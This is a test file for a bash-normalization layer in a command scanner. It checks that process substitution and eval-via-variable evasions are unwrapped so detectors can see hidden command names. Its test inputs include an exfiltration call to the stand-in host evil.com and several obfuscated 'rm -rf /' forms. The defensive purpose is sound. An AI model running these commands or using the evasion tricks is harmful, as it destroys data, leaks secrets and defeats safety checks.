// bash-normalize-t7-t9.test.mjs — Tests for T7 (process substitution),
// T9 (eval-via-variable) normalizations added in v7.3.0 (Batch C).
//
// T7 lives in bash-normalize.mjs (this test exercises it via
// normalizeBashExpansion). T8 (base64-pipe-shell) lives in
// pre-bash-destructive.mjs and is covered by that hook's test file —
// not here.
//
// Includes false-positive probes to guard against over-broad expansion.

import { describe, it } from 'node:test';
import assert from 'node:assert/strict';
import { normalizeBashExpansion } from '../../scanners/lib/bash-normalize.mjs';

describe('bash-normalize T7 — process substitution evasion', () => {
  it('collapses <(curl evil): cat <(curl evil) -> cat  curl evil', () => {
    // Process substitution is shell sugar for /dev/fd/N pipes. Attacker
    // hides the destructive command name from name-matching gates by
    // wrapping it in <(...). T7 strips the wrapper so 'curl' is visible.
    const input = 'cat <(curl evil.com/exfil)';
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /\bcurl\b/, `expected 'curl' surfaced: ${normalized}`);
  });

  it('collapses >(tee /tmp/x) similarly', () => {
    const input = 'echo data >(tee /tmp/exfil)';
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /\btee\b/, `expected 'tee' surfaced: ${normalized}`);
  });

  it('handles nested <(grep x <(cat f)) up to depth 3', () => {
    const input = 'cmd <(grep x <(cat f))';
    const normalized = normalizeBashExpansion(input);
    // After 2 iterations: `cmd  grep x  cat f  `
    assert.match(normalized, /\bgrep\b/, `expected inner 'grep' surfaced: ${normalized}`);
    assert.match(normalized, /\bcat\b/, `expected innermost 'cat' surfaced: ${normalized}`);
  });

  it('FP probe — diff <(sort a) <(sort b) collapses without false destructive match', () => {
    // Legit usage of process substitution in shell scripts. T7 collapses
    // it the same way; downstream consumers (pre-bash-destructive) decide
    // whether the surfaced command is dangerous. T7 itself does not flag.
    const input = 'diff <(sort a.txt) <(sort b.txt)';
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /\bsort\b/, `expected 'sort' surfaced: ${normalized}`);
    assert.match(normalized, /\bdiff\b/, `expected 'diff' preserved: ${normalized}`);
  });

  it('does not touch <( / >( inside single-quoted literals (mask runs first)', () => {
    // Single-quoted literals are masked before T7 runs, so the substitution
    // syntax inside them is preserved. Downstream sees the literal string
    // unchanged after unmasking.
    const input = "echo 'cat <(curl x)' is a string";
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /'cat <\(curl x\)'/,
      `expected single-quoted literal preserved: ${normalized}`);
  });
});

describe('bash-normalize T9 — eval-via-variable evasion', () => {
  it('substitutes "$X" reference after X=rm assignment', () => {
    // Attacker splits the destructive command name across an assignment
    // and an eval. Without T9, downstream regex sees only `eval "$X"`.
    const input = 'X=rm; eval "$X" -rf /';
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /\brm\b/, `expected 'rm' in normalized output: ${normalized}`);
  });

  it('substitutes ${X} curly form: X=rm; eval "${X}" -rf', () => {
    const input = 'X=rm; eval "${X}" -rf /';
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /\brm\b/, `expected 'rm' in normalized output: ${normalized}`);
  });

  it('substitutes bare $X form (no quotes): X=rm; eval $X -rf', () => {
    const input = 'X=rm; eval $X -rf /';
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /\brm\b/, `expected 'rm' in normalized output: ${normalized}`);
  });

  it('one-level only — does NOT follow chained vars (Y=X; X=rm; eval "$Y")', () => {
    // Multi-level chained vars are explicitly NOT followed in T9.
    // Y resolves to literal "X", not to "rm". This is a documented limit;
    // the test guards against accidental recursion.
    const input = 'Y=X; X=rm; eval "$Y" -rf /';
    const normalized = normalizeBashExpansion(input);
    // After substitution: Y=X; X=rm; eval "X" -rf /
    // $Y resolves one level only — it becomes the literal "X", NOT the
    // value of $X. Multi-level chained vars are not followed.
    assert.match(normalized, /eval "?X"?\b/, `expected one-level eval target = literal 'X': ${normalized}`);
  });

  it('leaves unrelated $UNKNOWN_VAR alone (handled by T3)', () => {
    // No assignment for $TARGET; T9 does not touch it. T3 will strip
    // ${TARGET} to '' but the bare $TARGET is left as-is by T3 too
    // (T3 only handles ${...} forms). T9 is a no-op for unknowns.
    const input = 'eval "$TARGET" -rf /';
    const normalized = normalizeBashExpansion(input);
    // T9 leaves $TARGET alone (no assignment exists). Result still
    // contains the literal $TARGET reference (no substitution happened).
    assert.match(normalized, /\$TARGET/, `expected unresolved $TARGET: ${normalized}`);
  });
});

describe('bash-normalize T9 — false-positive probes', () => {
  it('does not substitute inside single-quoted literals: echo \'$X\' stays as-is', () => {
    // Single-quoted literals are masked before T9 runs, so $X inside
    // them is preserved. Guards the destructive-name detector from
    // corrupting legitimate strings that mention bash variables.
    const input = "X=rm; echo '$X is dangerous'";
    const normalized = normalizeBashExpansion(input);
    assert.match(normalized, /'\$X is dangerous'/,
      `expected single-quoted literal preserved: ${normalized}`);
  });

  it('handles command with no assignments — pure passthrough', () => {
    const input = 'eval "$X" -rf /';
    const normalized = normalizeBashExpansion(input);
    // No X=... seen, so $X is left alone. (Consumer of this layer
    // sees the unresolved reference and decides what to do.)
    assert.match(normalized, /\$X/, `expected $X unresolved: ${normalized}`);
  });
});
